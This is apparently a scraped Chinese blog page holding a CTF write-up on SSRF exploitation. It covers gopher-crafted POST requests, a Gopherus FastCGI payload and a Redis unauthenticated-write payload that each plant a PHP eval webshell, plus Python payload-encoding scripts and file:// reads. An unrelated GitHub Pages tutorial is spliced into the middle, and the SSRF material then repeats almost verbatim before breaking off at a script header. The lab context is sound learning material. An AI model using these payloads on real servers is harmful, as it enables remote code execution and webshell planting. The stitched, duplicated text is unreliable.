gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
免费提供:利用 GitHub 快速搭建一个免费个人网站 | 2022(无需编程)
首先,让我展示一下成品:我的个人 网站。
使用 GitHub Pages 服务的好处是:
唯一的限制是你只能构建静态的网站——即只有信息呈现,没有用户交互。但是对于个人网站来说,静态网站就绰绰有余了。
学习成本:
个人网站是建立个人品牌的重要手段。无论是求职还是提升行业影响力,个人网站都是加分项。
如今,建立个人网站 非常容易,但拥有个人网站 的人仍然很少——将其添加到您的简历中会有所不同。
还等什么,开始吧!
1.注册一个 GitHub 帐户(如果有,请跳过)
GitHub是微软旗下全球最大的开源社区和代码托管平台,是程序员最常用的网站程序之一。
访问,点击右上角“注册”:
来个炫酷的注册界面(背景星空会动)!
按照提示,输入邮箱地址,设置密码,设置ID(支持字母数字,“-”符号)。
应谨慎选择此 ID,因为它将出现在个人 网站 的域名中。作为演示,我这里使用了“test-user-2022”,那么最终的个人网站地址就是test-user-2022.github.io:
然后会有一个用户验证(从一堆图像中选择一个指定的),验证码将在完成后发送到您的电子邮件。输入验证码,账号就创建好了。
默认情况下,您将进入以下页面并询问您一些问题。如果不想回答,直接点击底部跳过
2.创建指定仓库
点击右上角的用户头像,在下拉框中选择“Your repositories”。
如果是新注册的账号,列表为空。点击“新建”按钮:

在下一页,在“Repository name”下输入“[your ID].github.io”作为存储库名称。
比如我这里的ID是test-user-2022,那么就输入test-user-2022.github.io。
然后点击底部的“创建仓库”:
3.选择一个主题
上一步的仓库创建成功后,会自动跳转到新创建的仓库。
你可以看到一堆操作指南,忽略它。点击“设置”:
在仓库设置页面,点击左侧导航栏中的“页面”:
点击“选择主题”为您的个人选择一个主题网站:
GitHub Pages 提供 12 个可选主题。选择后,点击“选择主题”:
(如果您在开头点击我的个人资料网站,您会发现我使用的是默认的 Cayman 主题。)
4. 发布和查看网站
选择主题后,会来到以下页面。
GitHub默认会生成一些文本,点击“预览”查看效果:
这里使用的是一种称为“Markdown”的语法。学习门槛不高,程序员一般都非常熟悉。
你可以不用管它,点击页面底部的“提交更改”按钮,先发布网站!无论如何,您可以随时返回并更改它:

确认发布后,会跳转到仓库中刚刚生成的“index.md”文件:
您现在可以访问您的个人网站!还是在仓库的“设置”-“页面”页面,可以看到网站已经发布了(发布网站大概需要一两分钟):
URL 格式为“[your ID].github.io”,与仓库名称相同。
访问效果:
5. 编辑 网站内容
当然,此时显示的是GitHub默认生成的文本,需要自己替换成自己的内容。
如何编辑?只需使用 GitHub 提供的网页编辑器即可。
在刚才的“index.md”文件页面,点击编辑图标:
然后在编辑器中使用markdown语法修改内容。
markdown 语法并不难。以下是一些最常见的语法:
另外,如果需要使用图片,可以直接将图片拖放到编辑器中。
修改后点击“预览”进行预览。
如果没有问题,点击页面底部的“Commit changes”,一两分钟就可以看到更新的人了网站哦~
上面的“test-user-2022”是我临时创建的用于演示的用户。我个人的 网站 实际存储库是 /chen-ni/chen-ni.github.io 供您参考。
我只是做了一个非常简单的一页个人网站,因为它已经足够了。如果需要,您还可以使其更复杂,而不是使用现成的主题 - 但这超出了本文的范围。
更多程序员实用工具,欢迎关注@Nichen~
php curl抓取网页指定内容 常用方法:浅析SSRF的各种利用方式
网站优化 • 优采云 发表了文章 • 0 个评论 • 78 次浏览 • 2022-09-22 15:24
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
